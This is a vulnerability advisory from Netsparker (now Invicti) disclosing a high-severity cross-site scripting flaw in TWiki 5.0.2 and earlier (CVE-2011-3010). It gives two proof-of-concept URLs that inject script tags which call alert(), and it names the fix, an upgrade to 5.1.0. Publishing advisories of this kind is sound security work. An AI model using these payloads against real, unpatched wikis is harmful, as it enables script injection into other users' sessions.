Invicti Detects a High Severity XSS in Twiki

Information

Advisory by Netsparker (now Invicti)
Name: XSS vulnerability in TWiki
Software: TWiki 5.0.2 and below.
Vendor Homepage: http://twiki.org/
Vulnerability Type: Cross-Site Scripting
Severity: High
Researcher: Mesut Timur
Advisory Reference:  NS-11-006
CVE:  CVE-2011-3010

Description

TWiki® is a flexible, powerful, and easy to use enterprise wiki, enterprise collaboration platform, and web application platform. It is a Structured Wiki, typically used to run a project development space, a document management system, a knowledge base, or any other groupware tool, on an intranet, extranet or the Internet.

Details

TTWiki is affected by XSS vulnerabilities in version 5.0.2.
Example PoC url is as follows:

http://example.com/do/view/Main/Jump?create=on&newtopic=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%280x0051D1%29%3C/script%3E&template=WebCreateNewTopic&topicparent=3
http://example.com/do/view/TWiki/ATasteOfTWiki?'"--></style></script><script>alert(0x002B48)</script>

To learn more about Cross-Site Scripting vulnerabilities, see Cross-site scripting (XSS)

Solution

Upgrade to the latest TWiki version (5.1.0).

Credits

IIt has been discovered on testing of Invicti Web Application Security Scanner.

References

  1. Vendor URL: http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2011-3010
  2. MSL Advisory Link: /web-applications-advisories/xss-vulnerability-in-twiki5/
  3. Invicti Advisories: /web-applications-advisories/

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.